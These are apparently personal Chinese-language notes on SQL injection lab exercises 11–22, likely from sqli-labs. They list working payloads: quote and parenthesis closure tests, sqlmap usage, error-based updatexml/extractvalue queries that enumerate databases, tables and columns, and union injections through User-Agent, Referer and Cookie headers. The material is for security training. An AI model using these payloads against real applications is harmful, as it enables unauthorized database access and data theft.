实验11
输入一个单引号报错,双引号不报错
输入sql判断语句:admin’ and 1=1#
得出正确的测试语句: uname=admin’ and 1=1#
sqlmap一刀干翻
sqlmap -r 11.txt
sqlmap在密码不对,账户不对的的情况下,也可以跑出,可以多加几个注入点,也可以一个不加
如果不打注入点,会跑的超级慢,超级慢
账号和密码不对也可以引发注入
实验12
输入双引号报错
admin") and 1=1#
得出正确的测试语句: admin") and 1=1#
实验13
单引号报错
admin’) and 1=1#
得出正确的测试语句:uname=admin’) and 1=1#
实验14
双引号报错
admin" and 1=1#
成功
得出正确的测试语句:admin" and 1=1#
实验15
单引号双引号都不会报错
有延迟,证明前面admin ’ 是正确的
继续探测
admin’ and 1=1#
得出正确的测试语句:admin’ and 1=1)#但是多了个括号,再验证一下
实验16
通过分析打印的代码,有双引号和括号闭合
admin") and 1=1#
错误的演示(一个括号,一个双引号)
得出正确的测试语句:username=admin") and 1=1#
实验17-显错注入
实验原理:
1 分析源代码
username中的vlaue ,限制输入字符15
passwd没有做check
用户名输入正确的admin,后面的password代码才会执行,完成更新
判断语句源于uname,where语句在uname这一块,
在passwd做不显示,做sleep,包直接就没了,直接pass
2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来
3 sqlmap自己找,给他注入点加个标记*
输入admin后自动更新了密码
但是用户名不是admin就报错
输入传统的sql注入,被强制加了,魔术引号绕过
修改文件
2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库名字(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来
数据库中符号"."代表下一级,如dvwa.user表示dvwa数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名
(1)选择在passwd下功夫,第一步最简单的爆mysql的版本
’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
(2)爆数据库名称
’ and updatexml(1,concat(0x7e,database(),0x7e),1)–+
(3)爆数据库,select的内容记得加括号
’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)–+
(4)爆表
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x7e),1)–+
(5)爆列名(users这个表)
’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)–+
得出正确的测试语句:’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
实验18
代码分析:
1 把user-agent数据插入了数据库,通过报错语句查询数据库名称,
无论对错,都记录
uname和password,单引号 做了转义,只要了20个字符
拿到探测点也没用,输多了就全没了,全取消了
正确的用户名和密码是:admin 12345
只有密码正确,才会触发第二条语句
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
得出正确的测试语句:useragent: 'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
实验19
refer 也得成功登录
admin 12345
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
得出正确的测试语句:'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
实验20
cookie
isset 函数
如果不存在cookie,会显示一张错误的图,显示另一套代码,20.jpg
检测是否存在标签,登录不获取cookie,
还有个开关
admin 12345
admin’ order by 3–+
输入第四个就会报错
但是做不出效果来
继续深挖,成功,但是不知道为什么uname=111?????????
这是一个post包
输入语句:Cookie: uname=111’ union select ‘qq’,database(),version()#
不知道为什么是111
开关
&submit=Submit
有三个位置,分别查询了版本,和数据库的名称
得出正确的测试语句:Cookie: uname=111’ union select ‘qq’,database(),version()#
实验21
cookie中做了base64的加密
cookie:uname= admin做一个base64加密,把admin’) and 1=1#
替换在uname的post包
Cookie: uname= 12345’) union select ‘qq’,database(),version()#
三个可以插入的位置,cookie中的用户名只要不是admin,都可以爆库
admin的结果
如果有开关,只会显示一张图
得出正确的测试语句:Cookie: uname= 12345’) union select ‘qq’,database(),version()#
实验22
在21的基础上,双引号
admin" and 1=1#
提示utf-8,编码
Cookie: uname= 111" union select ‘qq’,database(),version()#
尝试使用get包,报错
得出正确的测试语句:Cookie: uname= 111" union select ‘qq’,database(),version()#